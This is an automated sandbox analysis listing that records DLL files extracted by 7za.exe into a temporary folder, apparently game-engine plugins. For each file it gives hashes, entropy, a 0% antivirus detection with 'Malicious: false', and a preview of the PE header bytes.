Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............{...{...{.......{...z...{...~...{.......{...x...{..z...{.cy....{.e.z...{...z.-.{.e.~...{.e.{...{.e.....{.......{.e.y...{.Rich..{.........PE..d...E.s_.........." ................(.....................................................`..........................................e..........................D...................@)..T............................)...............................................text............................... ..`.rdata..............................@..@.data...H...........................@....pdata..D...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\InterfaceUnique.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	58880
Entropy (8bit):	5.843835373415157
Encrypted:	false
SSDEEP:	768:18vKQ9FeEztyyEUNk2+aq0kAk71w2xWxpf9Q/VEo3prr2JBBGoTEG6US:Gbudy+aqEg1Uxpfu/yo3prr2HG4r1S
MD5:	54CB9C4D915BA68BDB5549145EA4D8BE
SHA1:	7EAB3143A254AE6A385DF5E0449AEDB661809DA7
SHA-256:	62ADB297A7123DA1AF84644A976A9C378F7412A0FF90EFAD4BE0F0B40F213F5D
SHA-512:	43ECF52A1C89EDE38C51F73E9FC5190B24219C521B049606D9701F3B67CA2BE24C5831F4D68EB4D6551E558D6A28733B4B0CE32985EB198A8FEAE9B4DF342400
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......D......^...^...^..a^...^R.._...^R.._...^R.._...^R.._...^".._...^".._...^.T5^...^..._...^...^...^..._...^..._...^...^...^..e^...^..._...^Rich...^........................PE..d.....s_.........." .....\|...h.......}.......................................0............`................................................................................. .........T...........................@...................X............................text....z.......\|.................. ..`.rdata...S.......T..................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\CGRCommand.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.478836091353431
Encrypted:	false
SSDEEP:	768:17bbF1Wkhx0MubjQ0EFx8fEC0Xz6ElNjJfW:1zrx0MN0EO02SlW
MD5:	0FDCDA671CA9F1C5861BA834C0878DB2
SHA1:	91341BD71438954BA9FD3E8E4664B92E08C7652C
SHA-256:	38CCF60176BB80B0158EEF8765B2A182672925DE895C93D16CB38D8E9CBE885D
SHA-512:	768F96751A64FA4D4BBDB663458DAE5F18A260218104CB542A8848B0EDB1EA2AB2CD89599509625254974D5D3947C8F1BDFCAE84A510E245F093F1B860697265
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|...8...8...8...1.e.<...j...<...j..+...j..?...j...9.......:.......;...8...]......;.......9.......9...8.a.9......9...Rich8...........................PE..d.....s_.........." .....J...L......DL....................................................`.................................................p...................8...................Pl..T............................l...............`...............................text...NH.......J.................. ..`.rdata...8...`...:...N..............@..@.data...h...........................@....pdata..8...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_Camera.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30208
Entropy (8bit):	5.50332963539792
Encrypted:	false
SSDEEP:	384:0RbCobaabJs0o0qQkMTYK5vKDcTPlglEbqVLSKKJ0mQS/fo:a/bjuV5K5vnDiKbUSdJL94
MD5:	8DD7FADEEC714D18EC44CBBA003F969E
SHA1:	C6ED3CF9BD055EA0B930CC76DE09E0A572C92B0E
SHA-256:	2CDDA8A52D420FFA90ECCEB0E1D7845724CD5C931440C8981FE82F043226B6C2
SHA-512:	79B766C4EFC1B54561946703C4A4445C790C2BADE6F53EFF3842923D79604F281C9092D9DAA88FD8DAA11B4A26B614FCE6792A8891D15EE1421B71CCAEEDC0FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|...8..8..8..1.E.<..j..<..j..+..j..?..j..9.....:.....;..8..b.....;.....9....).9..8.A.9.....9..Rich8..........PE..d.....s_.........." .....4...@......`:....................................................`..........................................h.......n..................l....................X..T...........................0Y...............P...............................text....3.......4.................. ..`.rdata.......P...0...8..............@..@.data...H............h..............@....pdata..l............j..............@..@.rsrc................n..............@..@.reloc...............t..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_MotionSet.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.760820983204497
Encrypted:	false
SSDEEP:	768:IrXsedU4aLkmkgqpeb168QnQiXyWJPLl1F54lW:yXlJaQmkJpk1dXiXyixP2lW
MD5:	93FD1F41D293D14554B79B39174567AB
SHA1:	4F4F31A842F6D507C67EC79AB01C9DED1C3B0144
SHA-256:	7E1DA5ED3B5E0E430CDA5B291664408E8E2A608707A1DEF1C3F9A2B0C85E5605
SHA-512:	EE371276C896468F7F1D6AD506FBBF7417469EE46CAA28BA786F1D89D26EF2ECE58ED5AF43A91B76D6282286BFD0086C817F57D0D194D68DB48F681946B170C2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........5..f..f..f..Sf..f...g..f...g...f...g..f...g..f...g..f{..g..f1.\f...f..f...f{..g..f{..g..f{.?f..f.Wf..f{..g..fRich..f........................PE..d...F.s_.........." .....F...F.......M....................................................`..........................................x..............................................h..T........................... i...............`..8............................text....E.......F.................. ..`.rdata...3...`...4...J..............@..@.data................~..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_SysInfo.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.50780523179433
Encrypted:	false
SSDEEP:	384:/yPnHrJQsT26qhEpQKzv1ZHvwVWUiboBc2zKfd7ibB78AtkzlH0f0afo:/alQsK6v7dBo+bAc220b18AKzZe0d
MD5:	633DA7673CAA82BF1FB9B0E27E5EA3D4
SHA1:	4A0F856516FDF4744A3FEF25678E6A583FD6EED3
SHA-256:	74B59AA2D7C70987873992D1A48F8303AFB613A9BD0F1F2A68BFFA20CE8B4FF5
SHA-512:	D68468832B686741EC8A90647E959E830E1A1F30CC3F097CE11AE5CEE128882D2AF56A2BA231A4F305DE987CBE85B0C19D70554686BB978A103BF09FB04406E6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............@..@..@...@..@...A..@...A..@...A..@...A..@..A..@j..A..@..@\|.@j..A..@j..A..@j.}@..@...@..@j..A..@Rich..@................PE..d.....s_.........." .....6...H.......<....................................................`..........................................i......Hm...................................... [..T....................\..(....[...............P...............................text....5.......6.................. ..`.rdata...6...P...8...:..............@..@.data................r..............@....pdata...............t..............@..@.rsrc................x..............@..@.reloc...............~..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_TextOut.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.720784102460852
Encrypted:	false
SSDEEP:	384:x3T2FccGCwVuKNbL+jeUnndAQksxpgZAlwHLWUJ08++kaOwBCEHs9RY+vAua0HNX:h2vGCQTA/UugqsB5HspvramNB9
MD5:	E4CA2130F0BFFDA745C67B94E0D1E955
SHA1:	B50185DB3FA58FC81D1D88557803A576D28700CA
SHA-256:	33F18CD742DACA424E79B98863E026871E73C7B5AF398DB126C4B2EB75B66AEF
SHA-512:	B3ADF5834A791F65A2BD5CE0656B5C4E2D6FA6115293ED64EB1FF19398745224EFC97DB4052C0AEF378CE90DD5CF1F774115AFE0884E5492A200BB7F31D3DA4B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................-.....................................X...............".........b...X.......X.......X.A.......).....X.......Rich....................PE..d.....s_.........." .....B...R......$H....................................................`......................................... ...(...H...................P....................l..T...................`m..(...`l...............`...............................text....A.......B.................. ..`.rdata...?...`...@...F..............@..@.data...............................@....pdata..P...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\ESM_SaveTextFile.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30720
Entropy (8bit):	5.458982481144066
Encrypted:	false
SSDEEP:	384:46hWJOT27/yYGTqCwXUJEXkHsWQ1Zj51FHZRnXgKirL0J025skwrfo:hqyTTqCBqZFXnO4J31
MD5:	228CC9C34B05CE0CE213D0FC52C2B17E
SHA1:	7DE1A74D25A34BB5F5130D2F96CFFAA08F1AC21C
SHA-256:	7B2DE8D01D12CD47D479C16F35BA575CC0EE10AE38F546EB82FEBBE880F69898
SHA-512:	7C290A111CC039CF7DD0B92A7F5796B506AB57666EB6D5B15B4A9E61087857EF980D419B88871FE6FA6E65B4548B85629C46037E3DDCF9C24A670C938C33F1CE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......f.."..".."..+...&..p...&..p...0..p...%..p...#...... ....!.."..K....!....#..q.#.."...#....#..Rich"..................PE..d...t.s_.........." .....4...B......h9....................................................`..........................................k..\|...\|l.......................................W..T...........................@X...............P..0............................text....2.......4.................. ..`.rdata.......P...0...8..............@..@.data...H............h..............@....pdata...............l..............@..@.rsrc................p..............@..@.reloc...............v..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\FileDialog.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	5.70703662822645
Encrypted:	false
SSDEEP:	768:leeGqKk3xHZEsoohkzxJoT4rfh6L/xhDnJHuHZHK5ZC:keV/Yo+foT8fW1JHuHZH0ZC
MD5:	FCFF8642006569BCCCDD20295708E97A
SHA1:	3B604DE4E88DA9BD8674FFBF4F7821ED67481FBE
SHA-256:	DAA06145356A979C1D3298F0B1E6F5F5B80DD65809332C9C1F0CDEFF80423004
SHA-512:	728397E215E62847B777C921547FDF004A86B526F467C35A77DA170E5BD6AC322EB25F1CC5759FA68323CF3E63EA03D3324350848A7DD8FB378F3A65CF85CE3F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Qu..?&..?&..?&.&..?&..>'..?&..:'..?&..;'..?&..<'..?&.>'..?&s.>'..?&..>&..?&s.:'..?&s.?'..?&s..&..?&...&..?&s.='..?&Rich..?&........................PE..d...u.s_.........." .....F...J.......J....................................................`..........................................\|..X...(....................................... j..T............................j...............`..h............................text....D.......F.................. ..`.rdata..L7...`...8...J..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\FloatTexture.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	5.345307629661017
Encrypted:	false
SSDEEP:	384:xE2xn0FhJLju4P+F6t33NYIwNkN6xN6UxGnIkDQJabz19wNw6WKJ0n7fo:6m4PJh3NY9GoIQUz19wNw6pJ2c
MD5:	B5B87E23CEA75110DE0DB504BDA73C7F
SHA1:	90B74182B3D9502B48BA9126451C68B670326FEF
SHA-256:	11C6EB57E6407E899901D57195FA9FCE0497DF9CEF13A7A19433A94E1C0A6DDB
SHA-512:	066883620BC8C620E4599B22539FC99E81E3B95D075053A8CD1F98F04788C826A0B46A76EDEAE19BDDD67B5F8F53F40E7A68247FE0EDAE0803358E4A15ECB531
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y_Q.=>?.=>?.=>?.4F..9>?.oV>.9>?.oV:.)>?.oV;.:>?.oV<.<>?..^>.9>?.W>.4>?.=>>.>?.W:.>>?.W?.<>?.W..<>?.=>..<>?.W=.<>?.Rich=>?.................PE..d.....s_.........." .....&...R.......,....................................................`.........................................p\......h`.......................................L..T............................L...............@...............................text....%.......&.................. ..`.rdata.."@...@...B...*..............@..@.data...X............l..............@....pdata...............p..............@..@.rsrc................t..............@..@.reloc...............z..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GFSDK_ShadowLib.win64.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3954688
Entropy (8bit):	3.564574141005755
Encrypted:	false
SSDEEP:	24576:Gg4mEzEzlXel6Kqn9DSuGOMAYd1EmH07YV1GmP0jYX1JmX0UY/1ImD0A:G
MD5:	F2C348C5AAFF0C420F4DCE3ABC1BBAD6
SHA1:	873F96BF5F180D786445AB2A129140905D5066B8
SHA-256:	0523A77867D37AC0FD0A9CCC5E6D11882E743ED6D52558F6BB63D5889B7F4AE1
SHA-512:	857A08F0D22B1A3CC9517D632D151BBDD703EC6DD541C84190F305A43F4F81770860AD4C9CC2BAAF149740EAC8D8579DBB2EE7C0E63A0403D061ADB0AE0B0B66
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.:./ni./ni./ni..i./ni..i./ni.W.i./ni.}.i./ni./oi./ni..i./ni..i./ni..i./niRich./ni........................PE..d.....LU.........." .....x....:...............................................<......&=...@.........................................@.;.z.....;.<.....<......`<...............<. .......................................................`............................text...2w.......x.................. ..`.rdata...w:......x:..\|..............@..@.data....O....<..,....;.............@....pdata.......`<...... <.............@..@text..........<......4<.............@.. .rsrc.........<......<<.............@..@.reloc..H.....<......><.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GPUPerfAPIDX11-x64.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8660480
Entropy (8bit):	3.7338758322023953
Encrypted:	false
SSDEEP:	49152:pkWlBfZEnFqR+hBZBNnyJG7XITT3jtDvN:V+/7XMvN
MD5:	121044FE4AE47114DFCCD15E399DF399
SHA1:	FFF4527981D873E558FD09BD493E97A308D179A4
SHA-256:	112A793D76A840A4BF0E5EA71C9A938A78E67B1514E5BFE856627913B622F156
SHA-512:	A6E114BA6DFF10DA16B3AE8F3A2F4E065D4CAA0DC63D6BE4E292CFE9BEED175E51B82A7B4C2BD413AA9621D341E4CEAE28E414FA5C7D4AD8D162400D8C943BA4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........!..jr..jr..jr...r..jr...r..jr...r..jr...r..jr..kr.jr...r..jr...r..jr...r..jr...r..jrRich..jr................PE..d......T.........." .....n...pr...........................................................@.........................................p.......(...d....0\|.p.....{.87...........@\|......................................................................................text....m.......n.................. ..`.rdata...4.......6...r..............@..@.data..../f......te.................@....pdata..87....{..8....{.............@..@.rsrc...p....0\|......T{.............@..@.reloc.......@\|......X{.............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GUISkin.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30208
Entropy (8bit):	5.59636364087681
Encrypted:	false
SSDEEP:	384:VHuDFXiw+0Mhrrr1YMxsKf/QKsG5a1fnVDEz5QKZO3IdwQOnul0zfDPBfo:Va4nVF/i6ufnMbZROulqDK
MD5:	B885FC748A88D2E4DAE483E9F1D6DE82
SHA1:	0ED2626A1901F3B9A1F0B8C6FEC6AC95AE7F53A5
SHA-256:	8310D2868745EA5C5ABF4D2456E6687D922E6A7F24E3DF3E946A4E33E19890AF
SHA-512:	795C6B43F34163586C2EF2BAE4381445BDBE57161A9082E0D1D2AC1FBFC6C6EEA73387688D90F52BAAEB88AE19E7B02D8D99090B925C13CD01A71253D91A3271
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|...8..8..8..1.E.<..j..<..j..+..j..?..j..9.....:.....;..8..a.....;.....9....).9..8.A.9.....9..Rich8..........................PE..d...D.s_.........." .....8...<......L?....................................................`.........................................@g.......k..................`...............\|...`X..T............................X...............P...............................text....7.......8.................. ..`.rdata...+...P...,...<..............@..@.data...8............h..............@....pdata..`............j..............@..@.rsrc................n..............@..@.reloc..\|............t..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GroupBuffer.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.4841753965249875
Encrypted:	false
SSDEEP:	384:64SOpMqZpj/Olj5oWizv6qsXXvJg2wh6dPUe7Sr7BU+uuMPmqXbX2ZPvfM15KJ01:NxpbMWWiOjXqa7MSpXuqLXqPM6J44p
MD5:	3C09FC10CB2A86F8B6CC639AE9908258
SHA1:	0277AEB418D8A1C2CAC59D6CA8C7B25EF62575D3
SHA-256:	213391722E7B38947824163E904217D228F172B167B80478B0685632B8743012
SHA-512:	310CB5772A43FC6DA249A49F5C88D9A3BD4363F2D9C374BC019717345FDB5D0D89F0DA4B74C6C70058D541B5C082D8852703E88B7557BBB122E5E1BBBC37B170
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................{......................................3............3......3......3............3......Rich....................PE..d...x.s_.........." .....4...P...... 8....................................................`..........................................n..`...Px.......................................\..T............................\...............P...............................text....2.......4.................. ..`.rdata...<...P...>...8..............@..@.data................v..............@....pdata...............x..............@..@.rsrc................~..............@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceContainer.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	5.534954167735017
Encrypted:	false
SSDEEP:	768:GEPcjCi76fk3suI8Z5KSHp2SeJLM4JnK:/1k3PIQwSYn5K
MD5:	F1EC23982ABE72B2F89A364973C62CC4
SHA1:	58D2172F337490674BED6676C70DE1EBCB405F7F
SHA-256:	C368FF3AFE2691D4E3175368E5F35FB4207A724BA93CFA95E6ACDC5CABE3491F
SHA-512:	E9F343607BCD13107221588D49B32018D872E9C20A525FD6A015E223E265505C3D82FFB26304529BB5782CEEED34FD5092E0A1A65F2DFDED2DA324F7FD22E946
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................k......................................................................................o.............Rich............................PE..d...H.s_.........." .....4...F......0:....................................................`..........................................j......dq.......................................Z..T............................Z...............P...............................text...^3.......4.................. ..`.rdata..N5...P...6...8..............@..@.data...h............n..............@....pdata...............p..............@..@.rsrc................t..............@..@.reloc...............z..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefHash.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.593527963163377
Encrypted:	false
SSDEEP:	384:GO5rTJMv5WhrCIw3ufkYqWN9qfVDvnhlwAKVSu0aQU7+idZuZrUF4pq7D0J0BzSp:BrT6hW9pwEU5Xu0jwdyrUF38JE+5Se
MD5:	1D686136F3B97F0B30666E2D0BE83A8E
SHA1:	2726747A4BA80CA8C2FEE888578547D498666A9D
SHA-256:	404747506BAD6180149CB481CB39C7F65ECA0B9D0DEE5C17678B2622FEB2B096
SHA-512:	B8E76D308ECB72AAE551730F8F24439D66864483D4EA6D35777891F2EE515338D80092A0730F2EBA39DB120CFAEB2286D1E43CC86E1F4D3D23AD3617CEA0D6BF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x...<..<..<..5.E.8..n..8..n../..n..;..n..=.....>.....?..<..n.....?.....=....).=..<.A.=.....=..Rich<..................PE..d.....s_.........." .....<...@.......?....................................................`..........................................k..x...ho..................@....................X..T............................Y...............P..x............................text....:.......<.................. ..`.rdata...,...P.......@..............@..@.data...8............n..............@....pdata..@............p..............@..@.rsrc................v..............@..@.reloc...............\|..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefSphereTree.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37888
Entropy (8bit):	5.777469885620847
Encrypted:	false
SSDEEP:	768:/HE9gk3XYPbDqZ62AcrrPIxsycesPnvUZ2II:/k9PYPbxubWsycesPnMIII
MD5:	90CA2FF20FE5A3C4F71A3B06CBE21380
SHA1:	9A645D4072D02BF3738A3726C7F88A6BC8BBEADB
SHA-256:	83E593E469B49692746430D35063BFBACD7A805A9DD96E0FB699839D2A4E955D
SHA-512:	05B993EF1958BD162849403201AFE063AAEEAE7B0FF599FBB43CA5285FCC6D6FDD865410CFFB2F6F8C43C383A66865E9288AB3DE7BAECF5933C3142F2F5CA42E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........wO.b...b...b.......b.......b.......b.......b.......b.......b.......b..V0...b...b...b.......b.......b.......b...b...b.......b..Rich.b..........PE..d.....s_.........." .....P...B.......T....................................................`.........................................0\|......<........................................h..T...........................`h...............`..x............................text....O.......P.................. ..`.rdata...-...`.......T..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefTree.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.8197957470163875
Encrypted:	false
SSDEEP:	768:P8RFeWJUkm8d9jt+CpabE5YphYoRxZoZ:P8HeWJUkmSVWEuFR/oZ
MD5:	BFF0807332AB05678297F384C04F8D47
SHA1:	94FC7BCE1FD533AE7B9A2F03C426ED404426A757
SHA-256:	477722B82D2EA32F439532C48000B2E283FDD816060AEF5971CE5FEA2A420C7D
SHA-512:	2DAFBD97793FBB788E1E6183C6A32A9BD08DCF9F0E1649E1E1E4B7C143F3131BCF12E913FDCA0BE2D73FD8E9011E769218C4AE3261B44812EB0A671FDB91DF0F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&..XG.XG.XG.Q?O.^G../.\G../.KG../._G../.YG.z'.ZG....ZG...@.[G.XG..G....]G....YG...#.YG.XGK.YG....YG.RichXG.................PE..d.....s_.........." .....T...B...... Z....................................................`.........................................@...l.......................8...................0x..T............................x...............p...............................text....S.......T.................. ..`.rdata..4/...p...0...X..............@..@.data...x...........................@....pdata..8...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InterfaceChannel.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.465535647935591
Encrypted:	false
SSDEEP:	768:mfpjkPrhMLqNVxx1roF2tdxq+2JxfYSUHJh1bj:3r+qNVxx1ro2t++2wLF
MD5:	7F59A12983CDE4A8D6519313B1046206
SHA1:	0DFA3F93455720F47C961B2527FFDC69BD7B799F
SHA-256:	C8B14338E7F5A457AD8C62FBF1459B66E5286357583C510543C9A2B609E25FF3
SHA-512:	62622EDB3703E49DD4E4A6F02961808A530C9D1343052929D74DC2C16EB9BE4D276CFB434A6A52B872CAB0859475579C0BF9EEA7C7DE9FDA07915E50757A8A9C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.^.b.0.b.0.b.0.k..f.0.0.1.f.0.0.5.p.0.0.4.e.0.0.3.c.0.@.1.`.0...1.g.0.b.1...0...5.a.0...0.c.0.....c.0.b...c.0...2.c.0.Richb.0.................PE..d...Y.s_.........." .....8...J.......=....................................................`.........................................`m.......t......................................0\..T............................\...............P.. ............................text....7.......8.................. ..`.rdata..@6...P...8...<..............@..@.data...8............t..............@....pdata...............v..............@..@.rsrc................\|..............@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InterfaceFunction.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.53345275252712
Encrypted:	false
SSDEEP:	768:QDPrVQkOy0mES2Q/HDin5wCpmsvUHJXHl:uTV3OHS2Q/On5wCMZHl
MD5:	735F85E0BC20BE4331A9770720F001DD
SHA1:	648A9A1A8CFC66D9BDFB062BA14C85838C4FD270
SHA-256:	16F8310C6CD69E35D99CBC60E6D9EE96DEC5377F8BD045B35D041633EBF84A33
SHA-512:	257ACAF58159408C8B34AF2736E62957BEEDE1A778AAE625DB9B8AFFD321A522D408066541DB034DE3525A6B05A3326A2BEBBC5371EDBA1F245FCD7619865F76
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<..x...x...x...q.k.\|......\|......k.............y...Z...z.......}...x...........{.......y.......y...x.o.y.......y...Richx...........................PE..d...Y.s_.........." .....<...F.......@....................................................`..........................................k.. ...0r..................x....................[..T............................[...............P..H............................text...n:.......<.................. ..`.rdata...4...P...6...@..............@..@.data...8............v..............@....pdata..x............x..............@..@.rsrc................\|..............@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Object.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31232
Entropy (8bit):	5.587667435963244
Encrypted:	false
SSDEEP:	384:Ujgb4gG1AB7ucdi+XYHj4B7hQkkb3hU0qXe/1ToKKJ02sufo:U24YPzYH8Zh4bx8ONTodJnu
MD5:	0B4646D47823CD450BC3BFC7B994C82E
SHA1:	4F835C4AF6CA3C52E8BE5CD68275265A64B5B8C7
SHA-256:	85734984B90CFD9FB23A3C0E5ED0D59A463B6FB9A26C664FC5191816C5397BDF
SHA-512:	998D6576A84F439CFFDF020E4F0FE9289A64EAC8BEAF34A4C4DB518C77637ECCDD5B9F18FE8D586C13DDE9F068B93129AC726D09C80E24B6FB2EC7D6CD9B6E7A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
